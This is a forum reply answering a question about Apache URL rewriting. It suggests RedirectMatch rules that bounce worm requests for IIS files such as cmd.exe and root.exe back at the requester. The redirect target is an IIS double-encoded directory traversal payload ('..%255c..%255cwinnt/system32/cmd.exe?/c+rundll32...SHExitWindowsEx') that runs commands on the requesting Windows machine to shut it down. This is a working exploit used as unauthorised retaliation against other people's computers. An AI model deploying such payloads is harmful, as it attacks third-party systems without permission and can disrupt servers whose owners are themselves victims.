Anthony Argyriou wrote:
> Problem: People who think my server is IIS and trying to get various *.exe
> and *.dll files in an attempt to compromise the server. The directory path
> used varies a lot, usually into directories that don't exist on my server.
>
> Preferred solution: have all requests ending in *.exe or *.exe?*
> (similarly for .dll) fetch back a file telling them to go bugger off.
> (I have some ideas about that - there's a simple file that's supposed to
> GPF IE, but I'm not sure that the script kiddies are using IE.)
These are likely scripts and/or worms, there's nobody at the other end
watching the page's output. The following should actually shut down the
machine making the request if it is a Windows NT/2K/XP machine. Which
should raise a flag to the admin and therefore try to find out why it is
doing that so they can fix it in the case that it is an infected server.
Try this (note there is only 3 lines here):
RedirectMatch (.*)\default.ida$
<a style='text-decoration: underline;' href="http://127.0.0.1/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+rundll32.exe+shell32.dll,SHExitWindowsEx%201" target="_blank">http://127.0.0.1/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+rundl....exe+sh</a>
RedirectMatch (.*)\root.exe$
<a style='text-decoration: underline;' href="http://127.0.0.1/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+rundll32.exe+shell32.dll,SHExitWindowsEx%201" target="_blank">http://127.0.0.1/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+rundl....exe+sh</a>
RedirectMatch (.*)\cmd.exe$
<a style='text-decoration: underline;' href="http://127.0.0.1/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+rundll32.exe+shell32.dll,SHExitWindowsEx%201" target="_blank">http://127.0.0.1/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+rundl....exe+sh</a>
Put these in the <IfModule mod_alias.c> directive to avoid config errors.
--
Justin Koivisto - spam.TakeThisOut@koivi.com
PHP POSTERS: Please use comp.lang.php for PHP related questions,
alt.php* groups are not recommended.<!-- ~MESSAGE_AFTER~ -->
>> Stay informed about: url rewrite question